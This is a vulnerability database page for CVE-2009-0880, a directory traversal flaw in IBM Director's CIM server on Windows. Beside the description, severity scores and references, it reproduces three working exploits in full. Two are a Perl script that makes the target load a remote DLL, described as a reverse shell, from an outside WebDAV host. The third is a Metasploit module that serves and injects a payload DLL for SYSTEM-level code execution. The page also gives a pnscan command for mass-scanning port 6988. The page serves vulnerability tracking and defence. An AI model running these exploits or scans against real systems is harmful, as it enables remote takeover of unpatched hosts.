CVE-2009-0880 : Detail

CVE-2009-0880

Directory Traversal
A01-Broken Access Control
65.64%V3
Network
2009-03-12
14h00 +00:00
2018-10-10
16h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in the CIM server in IBM Director before 5.20.3 Service Update 2 on Windows allows remote attackers to load and execute arbitrary local DLL code via a .. (dot dot) in a /CIMListener/ URI in an M-POST request.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 32845

Publication date : 2009-03-09 23h00 +00:00
Author : Bernhard Mueller
EDB Verified : Yes

source: https://www.securityfocus.com/bid/34065/info IBM Director is prone to a privilege-escalation vulnerability that affects the CIM server. Attackers can leverage this issue to execute arbitrary code with elevated privileges in the context of the CIM server process. Versions prior to IBM Director 5.20.3 Service Update 2 are affected. use IO::Socket; #1st argument: target host my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "6988", Proto => 'tcp'); $payload = qq{<?xml version="1.0" encoding="utf-8" ?> <CIM CIMVERSION="2.0" DTDVERSION="2.0"> <MESSAGE ID="1007" PROTOCOLVERSION="1.0"> <SIMPLEEXPREQ> <EXPMETHODCALL NAME="ExportIndication"> <EXPPARAMVALUE NAME="NewIndication"> <INSTANCE CLASSNAME="CIM_AlertIndication" > <PROPERTY NAME="Description" TYPE="string"> <VALUE>Sample CIM_AlertIndication indication</VALUE> </PROPERTY> <PROPERTY NAME="AlertType" TYPE="uint16"> <VALUE>1</VALUE> </PROPERTY> <PROPERTY NAME="PerceivedSeverity" TYPE="uint16"> <VALUE>3</VALUE> </PROPERTY> <PROPERTY NAME="ProbableCause" TYPE="uint16"> <VALUE>2</VALUE> </PROPERTY> <PROPERTY NAME="IndicationTime" TYPE="datetime"> <VALUE>20010515104354.000000:000</VALUE> </PROPERTY> </INSTANCE> </EXPPARAMVALUE> </EXPMETHODCALL> </SIMPLEEXPREQ> </MESSAGE> </CIM>}; $req = "M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/xml; charset=utf-8\r\n" ."Content-Length: ". length($payload) ."\r\n" ."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n" ."CIMOperation: MethodCall\r\n" ."CIMExport: MethodRequest\r\n" ."CIMExportMethod: ExportIndication\r\n\r\n"; print $sock $req . $payload; while(<$sock>) { print; }
Exploit Database EDB-ID : 23203

Publication date : 2012-12-06 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize super( 'Name' => 'IBM System Director Agent DLL Injection', 'Description' => %q{ This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3 to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM privileges. In order to accomplish remote DLL injection it uses a WebDAV service as disclosed by kingcope on December 2012. Because of this, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2. }, 'Author' => [ 'Bernhard Mueller', # Vulnerability discovery and exploit using directory traversal 'kingcope', # Exploit using WebDAV 'juan vazquez' # Metasploit module ], 'Platform' => 'win', 'References' => [ [ 'CVE', '2009-0880'], [ 'OSVDB', '52616'], [ 'OSVDB', '88102'], [ 'BID', '34065' ], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ], [ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ] ], 'Targets' => [ [ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Mar 10 2009' ) register_options( [ Opt::RPORT(6988), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]) ], self.class) end def auto_target(cli, request) agent = request.headers['User-Agent'] ret = nil # Check for MSIE and/or WebDAV redirector requests if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/ ret = targets[0] elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/ ret = targets[0] else print_error("Unknown User-Agent: #{agent}") end ret end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end # If there is no subdirectory in the request, we need to redirect. if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) if (request.uri == '/') subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' else subdir = request.uri + '/' end print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...") send_redirect(cli, subdir) return end # dispatch WebDAV requests based on method first case request.method when 'OPTIONS' process_options(cli, request, mytarget) when 'PROPFIND' process_propfind(cli, request, mytarget) when 'GET' process_get(cli, request, mytarget) when 'PUT' print_status("Sending 404 for PUT #{request.uri} ...") send_not_found(cli) else print_error("Unexpected request method encountered: #{request.method}") end end # # GET requests # def process_get(cli, request, target) print_status("Responding to GET request #{request.uri}") # dispatch based on extension if (request.uri =~ /\.dll$/i) print_status("Sending DLL") return if ((p = regenerate_payload(cli)) == nil) dll_payload = generate_payload_dll send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' }) else send_not_found(cli) end end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request, target) print_status("Responding to WebDAV OPTIONS request") headers = { #'DASL' => '<DAV:sql>', #'DAV' => '1, 2', 'Allow' => 'OPTIONS, GET, PROPFIND', 'Public' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request, target) path = request.uri print_status("Received WebDAV PROPFIND request") body = '' if (path =~ /\.dll$/i) print_status("Sending DLL multistatus for #{path} ...") body = %Q|<?xml version="1.0"?> <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"> <a:response> </a:response> </a:multistatus> | elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i) print_status("Sending 404 for #{path} ...") send_not_found(cli) return elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) # Response for anything else (generally just /) print_status("Sending directory multistatus for #{path} ...") body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | else print_status("Sending 404 for #{path} ...") send_not_found(cli) return end # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def xml_data xml = <<-eos <?xml version="1.0" encoding="utf-8" ?> <CIM CIMVERSION="2.0" DTDVERSION="2.0"> <MESSAGE ID="1007" PROTOCOLVERSION="1.0"> <SIMPLEEXPREQ> <EXPMETHODCALL NAME="ExportIndication"> <EXPPARAMVALUE NAME="NewIndication"> <INSTANCE CLASSNAME="CIM_AlertIndication" > <PROPERTY NAME="Description" TYPE="string"> <VALUE>Sample CIM_AlertIndication indication</VALUE> </PROPERTY> <PROPERTY NAME="AlertType" TYPE="uint16"> <VALUE>1</VALUE> </PROPERTY> <PROPERTY NAME="PerceivedSeverity" TYPE="uint16"> <VALUE>3</VALUE> </PROPERTY> <PROPERTY NAME="ProbableCause" TYPE="uint16"> <VALUE>2</VALUE> </PROPERTY> <PROPERTY NAME="IndicationTime" TYPE="datetime"> <VALUE>20010515104354.000000:000</VALUE> </PROPERTY> </INSTANCE> </EXPPARAMVALUE> </EXPMETHODCALL> </SIMPLEEXPREQ> </MESSAGE> </CIM> eos return xml end def check peer = "#{rhost}:#{rport}" print_status("#{peer} - Checking if CIMListener exists...") res = send_request_cgi({ 'uri' => "/CIMListener/", 'method' => 'M-POST', 'ctype' => 'application/xml; charset=utf-8', 'headers' => { "Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40", "CIMOperation" => "MethodCall", "CIMExport" => "MethodRequest", "CIMExportMethod" => "ExportIndication" }, 'data' => xml_data, }, 1) if res and res.code == 200 and res.body =~ /CIMVERSION/ return CheckCode::Appears end return CheckCode::Safe end def exploit if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end super end def primer basename = rand_text_alpha(3) share_name = rand_text_alpha(3) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] exploit_unc = "\\\\#{myhost}\\" vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll") @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Injecting DLL...") res = send_request_cgi({ 'uri' => "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll", 'method' => 'M-POST', 'ctype' => 'application/xml; charset=utf-8', 'headers' => { "Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40", "CIMOperation" => "MethodCall", "CIMExport" => "MethodRequest", "CIMExportMethod" => "ExportIndication" }, 'data' => xml_data, }) if res and res.code == 200 and res.body =~ /CIMVERSION/ print_status"#{@peer} - Then injection seemed to work..." else fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response") end end end
Exploit Database EDB-ID : 23074

Publication date : 2012-12-01 23h00 +00:00
Author : kingcope
EDB Verified : No

IBM System Director Remote System Level Exploit (CVE-2009-0880 extended zeroday) Copyright (C) 2012 Kingcope IBM System Director has the port 6988 open. By using a special request to a vulnerable server, the attacker can force to load a dll remotely from a WebDAV share. The following exploit will load the dll from \\isowarez.de\\director\wootwoot.dll the wootwoot.dll is a reverse shell that will send a shell back to the attacker (the code has to be inside the dll initialization routine). The IBM Director exploit works on versions 5.20.3 and before, but not on 5.2.30 SP2 and above. Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0880 There was a prior CVE for it, the CVE states the attack can load local files only, using the WebDAV server remote file can be loaded too. To scan for this software you can enter the following (by using pnscan): ./pnscan -w"M-POST /CIMListener/ HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n" -r HTTP <ipblock> 6988 Exploit: ---snip--- use IO::Socket; #1st argument: target host my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "6988", Proto => 'tcp'); $payload = qq{<?xml version="1.0" encoding="utf-8" ?> <CIM CIMVERSION="2.0" DTDVERSION="2.0"> <MESSAGE ID="1007" PROTOCOLVERSION="1.0"> <SIMPLEEXPREQ> <EXPMETHODCALL NAME="ExportIndication"> <EXPPARAMVALUE NAME="NewIndication"> <INSTANCE CLASSNAME="CIM_AlertIndication" > <PROPERTY NAME="Description" TYPE="string"> <VALUE>Sample CIM_AlertIndication indication</VALUE> </PROPERTY> <PROPERTY NAME="AlertType" TYPE="uint16"> <VALUE>1</VALUE> </PROPERTY> <PROPERTY NAME="PerceivedSeverity" TYPE="uint16"> <VALUE>3</VALUE> </PROPERTY> <PROPERTY NAME="ProbableCause" TYPE="uint16"> <VALUE>2</VALUE> </PROPERTY> <PROPERTY NAME="IndicationTime" TYPE="datetime"> <VALUE>20010515104354.000000:000</VALUE> </PROPERTY> </INSTANCE> </EXPPARAMVALUE> </EXPMETHODCALL> </SIMPLEEXPREQ> </MESSAGE> </CIM>}; $req = "M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/xml; charset=utf-8\r\n" ."Content-Length: ". length($payload) ."\r\n" ."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n" ."CIMOperation: MethodCall\r\n" ."CIMExport: MethodRequest\r\n" ."CIMExportMethod: ExportIndication\r\n\r\n"; print $sock $req . $payload; while(<$sock>) { print; } ---snip--- Cheerio, Kingcope

Products Mentioned

Configuraton 0

Ibm>>Director >> Version To (including) 5.20.3

    Ibm>>Director >> Version 3.1.1

      Ibm>>Director >> Version 4.10

        Ibm>>Director >> Version 4.11

          Ibm>>Director >> Version 4.12

            Ibm>>Director >> Version 4.20

              Ibm>>Director >> Version 4.21

                Ibm>>Director >> Version 4.22

                  Ibm>>Director >> Version 5.10.0

                    Ibm>>Director >> Version 5.10.1

                      Ibm>>Director >> Version 5.10.2

                        Ibm>>Director >> Version 5.10.3

                        Ibm>>Director >> Version 5.20.0

                          Ibm>>Director >> Version 5.20.1

                          Ibm>>Director >> Version 5.20.2

                            Microsoft>>Windows >> Version *

                            References

                            http://www.vupen.com/english/advisories/2009/0656
                            Tags : vdb-entry, x_refsource_VUPEN
                            http://osvdb.org/52616
                            Tags : vdb-entry, x_refsource_OSVDB
                            http://www.securityfocus.com/bid/34065
                            Tags : vdb-entry, x_refsource_BID
                            http://secunia.com/advisories/34212
                            Tags : third-party-advisory, x_refsource_SECUNIA